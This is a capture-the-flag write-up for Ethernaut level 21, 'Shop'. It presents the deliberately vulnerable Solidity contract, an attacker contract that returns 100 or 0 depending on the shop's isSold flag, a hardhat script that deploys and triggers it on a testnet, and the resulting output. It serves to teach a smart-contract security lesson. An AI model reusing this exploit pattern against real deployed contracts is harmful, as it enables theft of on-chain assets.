Ethernaut #21 Shop

Shop

Challenge

Сan you get the item from the shop for less than the price asked?

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

Background

By the looks of it this challange is a bit akward. It does not seem to accomplish much by design, but after trying to solve it, the point of it is clear. In general it looks a lot like the Elevator challange. However, in this case the function is a view which means it cannot update the contract state. For the Elevator challange the contract state update was used as the main technique to change the return value.

In this case, since the state “cannot” be updated that easily, we could relly on “side-channel” techniques to achieve this such as measuring the remaining gas, or check other state changing variables. In this case such a variable exists and it is the isSold variable in the Shop contract.

I actually believe that if we where to skip all the compiler checks in solidity (if that is possible), or just write a function in raw EVM assembly, we could possibly bypass the view restriction and have a state changing function. However, I did not try this and I’m not sure it would work, I just don’t clearly see why it wouldn’t.

Attack

Create a contract that implements the Buyer interface. This contract should be able to call the Shop contract buy function and return 100 or 0 for price depending if the Shop variable isSold is set or not. If the isSold is set, it should return 0 otherwise it should return 100. This way, during the first check, the function will return 100 while at the second check it would return 0.

ShopSolve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;

import "../challenges/Shop.sol";

contract ShopSolve {
    Shop shopContract;

    constructor(address payable _shop) public {
        shopContract = Shop(_shop);
    }

    function buy() public payable {
        shopContract.buy();
    }

    function price() external view returns (uint256) {
        if (shopContract.isSold()) {
            return 0;
        }
        return 100;
    }
}

shop-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    shopAddress = "0x7B710215cc6901910B2940D2CC8b5758eB7d70B7";
    contract = await ethers.getContractAt("Shop", shopAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    ShopSolve = await ethers.getContractFactory("ShopSolve");
    shopSolve = await ShopSolve.deploy(contract.address);
    await shopSolve.deployed();

    console.log("Level address : " + contract.address)
    console.log("Is Sold       : " + await contract.isSold())
    console.log("Price         : " + await contract.price())

    // trigger attacker contract buy function
    tx = await shopSolve.connect(account).buy()
    receipt = await tx.wait()

    console.log("Is Sold       : " + await contract.isSold())
    console.log("Price         : " + await contract.price())
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/shop-solve.js --network rinkeby
Level address : 0x7B710215cc6901910B2940D2CC8b5758eB7d70B7
Is Sold       : false
Price         : 100
Is Sold       : true
Price         : 0

Success Message

Contracts can manipulate data seen by other contracts in any way they want.

It’s unsafe to change the state based on external and untrusted contracts logic.